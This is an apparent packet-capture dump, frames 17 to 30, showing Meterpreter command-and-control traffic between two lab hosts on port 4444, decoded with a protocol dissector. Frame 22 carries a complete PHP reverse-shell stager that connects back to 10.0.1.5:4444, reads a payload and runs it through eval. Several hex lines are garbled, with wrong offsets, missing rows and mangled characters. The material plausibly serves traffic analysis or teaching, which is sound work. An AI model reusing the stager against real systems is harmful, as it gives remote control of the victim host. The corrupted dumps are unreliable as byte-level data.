0060 70 65 6e 00 00 00 00 29 00 01 00 02 36 35 36 39
                                                    pen....)....6569
0070 38 33 38 38 38 37 32 36 32 31 33 31 35 32 36 31
                                                    8388872621315261
0080 31 37 35 32 32 36 30 35 34 32 31 39 00 00 00 00
                                                    175226054219....
0090 Oc 00 02 00 32 00 00 00 00 00 00 00 0c 00 02 00
                                                    ....2......
00a0 04 00 00 00 00
```

Frame 17: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)

Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10

Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 540, Ack: 830, Len: 0
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00 ..'oz...'....E.
0010 00 34 2f 4f 40 00 40 06 f5 66 0a 00 01 05 0a 00 .4/0@.@..f.....
0020 01 0a 11 5c d9 d2 14 78 2a 06 06 18 a1 df 80 10 ...\...x*.....
0030 00 2b 21 66 00 00 01 01 08 0a 00 0a 0a 32 00 0e .+!f......2..

c/

0040 63 2f

```
Frame 18: 152 bytes on wire (1216 bits), 152 bytes captured (1216 bits)
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 540, Ack: 830, Len: 86
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000056 [Command length]: 86
   Type: 0x00000000 [Command type: Request]: 0
   Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
   Command: 0x00000019 [Length]: 25
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
   Data: 000000290001000231383138343439333132303035323239... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 313831383434393331323030353232393233353330393035... [Value] 18184493120052292353090553887402
Meterpreter protocol, TLV details
   Data: 0000000c00020032000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
   Data: 00000000 [Value] OK
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                       ..'oz...'....E.
0010 00 8a 2f 50 40 00 40 06 f5 0f 0a 00 01 05 0a 00
                                                       ../P@.@.....
0020 01 0a 11 5c d9 d2 14 78 2a 06 06 18 a1 df 80 18
                                                       ...\...x*.....
0030 00 2b 67 c8 00 00 01 01 08 0a 00 0a 0a 4b 00 0e
                                                       .+g.....K..
0040 63 2f 00 00 00 56 00 00 00 00 00 00 00 19 00 01
                                                       c/...V......
0050 00 01 63 6f 72 65 5f 63 68 61 6e 6e 65 6c 5f 65
                                                       ..core_channel_e
0060 6f 66 00 00 00 00 29 00 01 00 02 31 38 31 38 34
                                                       of....)....18184
0070 34 39 33 31 32 30 30 35 32 32 39 32 33 35 33 30
                                                       4931200522923530
0080 39 30 35 35 33 38 38 37 34 30 32 00 00 00 00 0c
                                                       90553887402....
```

...2....

0090 00 02 00 32 00 00 00 00

```
Frame 19: 161 bytes on wire (1288 bits), 161 bytes captured (1288 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 830, Ack: 626, Len: 95
Meterpreter protocol, Command details here or in the tree below
   Command: 0x0000005f [Command length]: 95
   Type: 0x00000001 [Command type: Response]: 1
   Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
   Command: 0x00000019 [Length]: 25
   Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
   Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
   Data: 000000290001000231383138343439333132303035323239... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 313831383434393331323030353232393233353330393035... [Value] 18184493120052292353090553887402
Meterpreter protocol, TLV details
   Data: 00000090008000c [TLV]
   Command: 0x00000009 [Length]: 9
   Type: 0x0008000c [Type: Response]: TLV_TYPE_BOOL
   Data: 00 [Value]
Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
   Data: 00000000 [Value] OK
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                    ..'....'oz...E.
0010 00 93 0e b2 40 00 40 06 15 a5 0a 00 01 0a 0a 00
                                                    ....@.@......
                                                    .....\....x*\..
0030   0a a4 16 94 00 00 01 01 08 0a 00 0e 63 49 00 0a
                                                    ....cI..
.K..._....
0050 00 01 63 6f 72 65 5f 63 68 61 6e 6e 65 6c 5f 65
                                                    ..core_channel_e
0060 6f 66 00 00 00 00 29 00 01 00 02 31 38 31 38 34
                                                    of....)....18184
0070 34 39 33 31 32 30 30 35 32 32 39 32 33 35 33 30
                                                    4931200522923530
0880
     39 30 35 35 33 38 38 37 34 30 32 00 00 00 00 09
                                                    90553887402....
0090 00 08 00 0c 00 00 00 0c 00 02 00 04 00 00 00
```

Frame 20: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)

Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10

Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 626, Ack: 925, Len: 0
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00 ..'oz...'....E.
0010 00 34 2f 51 40 00 40 06 f5 64 0a 00 01 05 0a 00 .4/Q@.@..d.....
0020 01 0a 11 5c d9 d2 14 78 2a 5c 06 18 a2 3e 80 10 ...\...x*\...>..
0030 00 2b 20 7e 00 00 01 01 08 0a 00 0a 0a 4b 00 0e .+ ~......K.

cΙ

0040 63 49

```
Frame 21: 165 bytes on wire (1320 bits), 165 bytes captured (1320 bits)
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 626, Ack: 925, Len: 99
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000063 [Command length]: 99
   Type: 0x00000000 [Command type: Request]: 0
   Data: 0000001a00010001636f72655f6368616e6e656c5f726561... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001a00010001636f72655f6368616e6e656c5f726561... [TLV]
   Command: 0x0000001a [Length]: 26
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 636f72655f6368616e6e656c5f7265616400 [Value] core_channel_read
Meterpreter protocol, TLV details
   Data: 000000290001000236353133333839323635373133323236... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 363531333338393236353731333232363331393732303737... [Value] 65133892657132263197207749986876
Meterpreter protocol, TLV details
   Data: 0000000c00020032000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
   Data: 00000000 [Value] OK
Meterpreter protocol, TLV details
   Data: 0000000c00020019000100 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020019 [Type: Request]: TLV_TYPE_LENGTH
   Data: 00010000 [Value] 65536
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                      ..'oz...'....E.
0010 00 97 2f 52 40 00 40 06 f5 00 0a 00 01 05 0a 00
                                                      ../R@.@.....
                                                      ...\...x*\...>..
0030 00 2b c5 b4 00 00 01 01 08 0a 00 0a 0a 64 00 0e
                                                      .+....d..
0040 63 49 00 00 00 63 00 00 00 00 00 00 00 1a 00 01
                                                      cI...c......
0050 00 01 63 6f 72 65 5f 63 68 61 6e 6e 65 6c 5f 72
                                                      ..core_channel_r
0060 65 61 64 00 00 00 00 29 00 01 00 02 36 35 31 33
                                                      ead....)....6513
0070 33 38 39 32 36 35 37 31 33 32 32 36 33 31 39 37
                                                      3892657132263197
0080 32 30 37 37 34 39 39 38 36 38 37 36 00 00 00 00
                                                      207749986876....
0090 Oc 00 02 00 32 00 00 00 00 00 00 00 0c 00 02 00
                                                      ....2......
00a0 19 00 01 00 00
```

```
Frame 22: 1106 bytes on wire (8848 bits), 1106 bytes captured (8848 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 925, Ack: 725, Len: 1040
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000410 [Command length]: 1040
     Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001a00010001636f72655f6368616e6e656c5f726561... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001a00010001636f72655f6368616e6e656c5f726561... [TLV]
    Command: 0x0000001a [Length]: 26
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f7265616400 [Value] core_channel_read
Meterpreter protocol, TLV details
    Data: 000000290001000236353133333839323635373133323236... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 363531333338393236353731333232363331393732303737... [Value] 65133892657132263197207749986876
Meterpreter protocol, TLV details
    Data: 000003b9000400342f2a3c3f706870202f2a2a2f20657272... [TLV]
    Command: 0x000003b9 [Length]: 953
    Type: 0x00040034 [Type: Response]: TLV_TYPE_CHANNEL_DATA
    Data: 2f2a3c3f706870202f2a2a2f206572726f725f7265706\overline{f72}... [Value] /*<?php /**/ error_reporting(0); $ip = '10.0.1.5'; $port = '10.0.1.5'; $p
4444; if (($f = 'stream_socket_client') && is_callable($f)) {    $s = $f("tcp://{$ip}:{$port}");    $s_type = 'stream';
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                                          ..'....'oz...E.
0010 04 44 0e b3 40 00 40 06 11 f3 0a 00 01 0a 0a 00
                                                                          .D..@.@.....
....\....x*...
0030   0a a4 1a 45 00 00 01 01 08 0a 00 0e 63 62 00 0a
                                                                          ...E.....cb..
0050 00 01 63 6f 72 65 5f 63 68 61 6e 6e 65 6c 5f 72
                                                                          ..core_channel_r
0060 65 61 64 00 00 00 00 29 00 01 00 02 36 35 31 33
                                                                          ead....)....6513
       33 38 39 32 36 35 37 31 33 32 32 36 33 31 39 37
                                                                          3892657132263197
0080 32 30 37 37 34 39 39 38 36 38 37 36 00 00 00 03
                                                                         207749986876...
                                                                          ....4/*<?php /**
0090 b9 00 04 00 34 2f 2a 3c 3f 70 68 70 20 2f 2a 2a
00a0 2f 20 65 72 72 6f 72 5f 72 65 70 6f 72 74 69 6e
                                                                          / error_reportin
00b0
       67 28 30 29 3b 20 24 69 70 20 3d 20 27 31 30 2e
                                                                          g(0); sip = '10.
00c0 30 2e 31 2e 35 27 3b 20 24 70 6f 72 74 20 3d 20
                                                                          0.1.5'; $port =
00d0 34 34 34 34 3b 20 69 66 20 28 28 24 66 20 3d 20
                                                                          4444; if (($f =
00e0 27 73 74 72 65 61 6d 5f 73 6f 63 6b 65 74 5f 63
                                                                          'stream_socket_c
       6c 69 65 6e 74 27 29 20 26 26 20 69 73 5f 63 61
                                                                          lient') && is_ca
00f0
0100 6c 6c 61 62 6c 65 28 24 66 29 29 20 7b 20 24 73
                                                                          llable($f)) { $s
0110 20 3d 20 24 66 28 22 74 63 70 3a 2f 2f 7b 24 69
                                                                           = $f("tcp://{$i
       70 7d 3a 7b 24 70 6f 72 74 7d 22 29 3b 20 24 73
0120
                                                                          p}:{$port}"); $s
0130
       5f 74 79 70 65 20 3d 20 27 73 74 72 65 61 6d 27
                                                                          _type = 'stream'
                                                                          ; } elseif (($f
       3b 20 7d 20 65 6c 73 65 69 66 20 28 28 24 66 20
0140
                                                                          = 'fsockopen') &
0150
       3d 20 27 66 73 6f 63 6b 6f 70 65 6e 27 29 20 26
0160
       26 20 69 73 5f 63 61 6c 6c 61 62 6c 65 28 24 66
                                                                         & is callable($f
0170 29 29 20 7b 20 24 73 20 3d 20 24 66 28 24 69 70
                                                                          )) { $s = f(sip)
0180  2c  20  24  70  6f  72  74  29  3b  20  24  73  5f  74  79  70
                                                                          0190 65 20 3d 20 27 73 74 72 65 61 6d 27 3b 20 7d 20
                                                                          e = 'stream'; }
01a0
       65 6c 73 65 69 66 20 28 28 24 66 20 3d 20 27 73
                                                                          elseif(($f =
01b0 6f 63 6b 65 74 5f 63 72 65 61 74 65 27 29 20 26
                                                                         ocket_create') &
& is_callable($f
01d0
       29 29 20 7b 20 24 73 20 3d 20 24 66 28 41 46 5f
                                                                          )) { $s = $f(AF)
01e0 49 4e 45 54 2c 20 53 4f 43 4b 5f 53 54 52 45 41
                                                                          INET, SOCK_STREA
01f0 4d 2c 20 53 4f 4c 5f 54 43 50 29 3b 20 24 72 65
                                                                         M, SOL_TCP); $re
0200 73 20 3d 20 40 73 6f 63 6b 65 74 5f 63 6f 6e 6e
                                                                          s = @socket_conn
       65 63 74 28 24 73 2c 20 24 69 70 2c 20 24 70 6f
0210
                                                                          ect($s, $ip, $po
0220
       72 74 29 3b 20 69 66 20 28 21 24 72 65 73 29 20
                                                                          rt); if (!$res)
0230 7b 20 64 69 65 28 29 3b 20 7d 20 24 73 5f 74 79
                                                                          { die(); } $s_ty
0240 70 65 20 3d 20 27 73 6f 63 6b 65 74 27 3b 20 7d
                                                                          pe = 'socket'; }
       20 65 6c 73 65 20 7b 20 64 69 65 28 27 6e 6f 20
                                                                           else { die('no
0250
0260
       73 6f 63 6b 65 74 20 66 75 6e 63 73 27 29 3b 20
                                                                          socket funcs');
0270 7d 20 69 66 20 28 21 24 73 29 20 7b 20 64 69 65
                                                                          } if (!$s) { die
0280
       28 27 6e 6f 20 73 6f 63 6b 65 74 27 29 3b 20 7d
                                                                          ('no socket'); }
0290
       20 73 77 69 74 63 68 20 28 24 73 5f 74 79 70 65
                                                                           switch ($s_type
                                                                          ) { case 'stream
       29 20 7b 20 63 61 73 65 20 27 73 74 72 65 61 6d
02a0
02b0 27 3a 20 24 6c 65 6e 20 3d 20 66 72 65 61 64 28
                                                                           : $len = fread(
02c0
       24 73 2c 20 34 29 3b 20 62 72 65 61 6b 3b 20 63
                                                                          $s, 4); break; c
02d0
       61 73 65 20 27 73 6f 63 6b 65 74 27 3a 20 24 6c
                                                                          ase 'socket': $1
02e0 65 6e 20 3d 20 73 6f 63 6b 65 74 5f 72 65 61 64
                                                                          en = socket_read
02f0 28 24 73 2c 20 34 29 3b 20 62 72 65 61 6b 3b 20
                                                                          ($s, 4); break;
                                                                          } if (!$len) { d
0300   7d  20  69  66  20  28  21  24  6c  65  6e  29  20  7b  20  64
                                                                         ie(); } $a = unp
ack("Nlen", $len
0310
       69 65 28 29 3b 20 7d 20 24 61 20 3d 20 75 6e 70
0320 61 63 6b 28 22 4e 6c 65 6e 22 2c 20 24 6c 65 6e
                                                                         ); $len = $a['le
n']; $b = ''; wh
0330 29 3b 20 24 6c 65 6e 20 3d 20 24 61 5b 27 6c 65
0340 6e 27 5d 3b 20 24 62 20 3d 20 27 27 3b 20 77 68
       69 6c 65 20 28 73 74 72 6c 65 6e 28 24 62 29 20
0350
                                                                          ile (strlen($b)
0360 3c 20 24 6c 65 6e 29 20 7b 20 73 77 69 74 63 68
                                                                          < $len) { switch
($s_type) { cas
```

 0380
 65
 20
 27
 73
 74
 72
 65
 61
 6d
 27
 3a
 20
 24
 62
 20
 2e
 20
 2e
 20
 2e
 2

e 'stream': \$b.
= fread(\$s, \$len
-strlen(\$b)); br
eak; case 'socke
t': \$b.= socket
_read(\$s, \$len-s
trlen(\$b)); brea
k; } } \$GLOBALS[
'msgsock'] = \$s;
\$GLOBALS['msgso
ck_type'] = \$s_t
ype; eval(\$b); d
ie();......

Frame 23: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)

Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10

Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 725, Ack: 1965, Len: 0
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00 ...'oz...'....E.
0010 00 34 2f 53 40 00 40 06 f5 62 0a 00 01 05 0a 00 .4/S@.@..b.....
0020 01 0a 11 5c d9 d2 14 78 2a bf 06 18 a6 4e 80 10 ...\...x*...N.

cb

.-...d..

0030 00 2d 1b d7 00 00 01 01 08 0a 00 0a 0a 64 00 0e

0040 63 62

```
Frame 24: 152 bytes on wire (1216 bits), 152 bytes captured (1216 bits)
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 725, Ack: 1965, Len: 86
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000056 [Command length]: 86
   Type: 0x00000000 [Command type: Request]: 0
   Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
   Command: 0x00000019 [Length]: 25
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
   Data: 000000290001000234363138303330353431383636333438... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 3436313830333035343138363633334383334363231393130... [Value] 46180305418663483462191057664047
Meterpreter protocol, TLV details
   Data: 0000000c00020032000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
   Data: 00000000 [Value] OK
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                       ..'oz...'....E.
0010 00 8a 2f 54 40 00 40 06 f5 0b 0a 00 01 05 0a 00
                                                       ../T@.@.....
0020 01 0a 11 5c d9 d2 14 78 2a bf 06 18 a6 4e 80 18
                                                       ...\...x*....N..
0030 00 2d 60 2e 00 00 01 01 08 0a 00 0a 0a 81 00 0e
                                                       .-`.....
0040 63 62 00 00 00 56 00 00 00 00 00 00 00 19 00 01
                                                       cb...V.....
0050 00 01 63 6f 72 65 5f 63 68 61 6e 6e 65 6c 5f 65
                                                       ..core_channel_e
0060 6f 66 00 00 00 00 29 00 01 00 02 34 36 31 38 30
                                                       of....)....46180
0070 33 30 35 34 31 38 36 36 33 34 38 33 34 36 32 31
                                                       3054186634834621
0080 39 31 30 35 37 36 36 34 30 34 37 00 00 00 00 0c
                                                       91057664047....
```

...2....

0090 00 02 00 32 00 00 00 00

```
Frame 25: 161 bytes on wire (1288 bits), 161 bytes captured (1288 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 1965, Ack: 811, Len: 95
Meterpreter protocol, Command details here or in the tree below
   Command: 0x0000005f [Command length]: 95
   Type: 0x00000001 [Command type: Response]: 1
   Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
   Command: 0x00000019 [Length]: 25
   Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
   Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
   Data: 000000290001000234363138303330353431383636333438... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 34363138303334313836363334383334363231393130... [Value] 46180305418663483462191057664047
Meterpreter protocol, TLV details
   Data: 00000090008000c [TLV]
   Command: 0x00000009 [Length]: 9
   Type: 0x0008000c [Type: Response]: TLV_TYPE_BOOL
   Data: 01 [Value] 🛚
Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
   Data: 00000000 [Value] OK
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                     ..'.....'oz...E.
0010 00 93 0e b4 40 00 40 06 15 a3 0a 00 01 0a 0a 00
                                                     ....@.@......
                                                     ....\...N.x+...
0020 01 05 d9 d2 11 5c 06 18 a6 4e 14 78 2b 15 80 18
0030   0a a4 16 94 00 00 01 01 08 0a 00 0e 63 7f 00 0a
.....
0050 00 01 63 6f 72 65 5f 63 68 61 6e 6e 65 6c 5f 65
                                                      ..core_channel_e
0060 6f 66 00 00 00 00 29 00 01 00 02 34 36 31 38 30
                                                     of....)....46180
0070 33 30 35 34 31 38 36 36 33 34 38 33 34 36 32 31
                                                     3054186634834621
0880
     39 31 30 35 37 36 36 34 30 34 37 00 00 00 00 09
                                                     91057664047....
0090   00 08 00 0c 01 00 00 00 0c 00 02 00 04 00 00 00
```

Frame 26: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)

Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10

Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 811, Ack: 2060, Len: 0
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00 ..'oz...'....E.
0010 00 34 2f 55 40 00 40 06 f5 60 0a 00 01 05 0a 00 .4/U@.@..`.....
0020 01 0a 11 5c d9 d2 14 78 2b 15 06 18 a6 ad 80 10 ...\.x+......
0030 00 2d 1a e8 00 00 01 01 08 0a 00 0a 0a 81 00 0e .-..........

0040 63 7f

```
Frame 27: 154 bytes on wire (1232 bits), 154 bytes captured (1232 bits)
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 811, Ack: 2060, Len: 88
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000058 [Command length]: 88
   Type: 0x00000000 [Command type: Request]: 0
   Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [TLV]
   Command: 0x0000001b [Length]: 27
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 636f72655f6368616e6e656c5f636c6f736500 [Value] core_channel_close
Meterpreter protocol, TLV details
   Data: 000000290001000231363730393834363932363434313934... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 313637303938343639323634343139343835323334363837... [Value] 16709846926441948523468760354720
Meterpreter protocol, TLV details
   Data: 0000000c00020032000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
   Data: 00000000 [Value] OK
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                       ..'oz...'....E.
0010 00 8c 2f 56 40 00 40 06 f5 07 0a 00 01 05 0a 00
                                                       ../V@.@.....
0020 01 0a 11 5c d9 d2 14 78 2b 15 06 18 a6 ad 80 18
                                                       ...\...x+.....
0030 00 2d f9 b2 00 00 01 01 08 0a 00 0a 0a 9b 00 0e
                                                       .-....
0040 63 7f 00 00 00 58 00 00 00 00 00 00 00 1b 00 01
                                                       c....X......
0050 00 01 63 6f 72 65 5f 63 68 61 6e 6e 65 6c 5f 63
                                                       ..core_channel_c
0060 6c 6f 73 65 00 00 00 00 29 00 01 00 02 31 36 37
                                                       lose....)....167
0070 30 39 38 34 36 39 32 36 34 34 31 39 34 38 35 32
                                                       0984692644194852
0080 33 34 36 38 37 36 30 33 35 34 37 32 30 00 00 00
                                                       3468760354720...
```

....2....

0090 00 0c 00 02 00 32 00 00 00 00

```
Frame 28: 154 bytes on wire (1232 bits), 154 bytes captured (1232 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 2060, Ack: 899, Len: 88
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000058 [Command length]: 88
   Type: 0x00000001 [Command type: Response]: 1
   Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [TLV]
   Command: 0x0000001b [Length]: 27
   Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
   Data: 636f72655f6368616e6e656c5f636c6f736500 [Value] core_channel_close
Meterpreter protocol, TLV details
   Data: 000000290001000231363730393834363932363434313934... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 313637303938343639323634343139343835323334363837... [Value] 16709846926441948523468760354720
Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
   Data: 00000000 [Value] OK
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                    ..'....'oz...E.
0010 00 8c 0e b5 40 00 40 06 15 a9 0a 00 01 0a 0a 00
                                                    . . . . . @ . @ . . . . . . . . .
0020 01 05 d9 d2 11 5c 06 18 a6 ad 14 78 2b 6d 80 18
                                                    ....\...x+m..
....X......
0050 00 01 63 6f 72 65 5f 63 68 61 6e 6e 65 6c 5f 63
                                                    ..core_channel_c
0060 6c 6f 73 65 00 00 00 00 29 00 01 00 02 31 36 37
                                                    lose....)....167
0070 30 39 38 34 36 39 32 36 34 34 31 39 34 38 35 32
                                                    0984692644194852
0080 33 34 36 38 37 36 30 33 35 34 37 32 30 00 00 00
                                                    3468760354720...
```

0090 00 0c 00 02 00 04 00 00 00 00

Frame 29: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)

Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10

Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 899, Ack: 2148, Len: 0
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00 ...oz......E.
0010 00 34 2f 57 40 00 40 06 f5 5e 0a 00 01 05 0a 00 .4/W@.@..^.....
0020 01 0a 11 5c d9 d2 14 78 2b 6d 06 18 a7 05 80 10 ...\.x+m.....
0030 00 2d 1a 04 00 00 01 01 08 0a 00 0a 0a 9b 00 0e .-..........

0040 63 99

```
Frame 30: 152 bytes on wire (1216 bits), 152 bytes captured (1216 bits)
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 899, Ack: 2148, Len: 86
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000056 [Command length]: 86
   Type: 0x00000000 [Command type: Request]: 0
   Data: 00000018000100017374646170695f66735f6d6b64697200... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000018000100017374646170695f66735f6d6b646972 [TLV]
   Command: 0x00000018 [Length]: 24
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
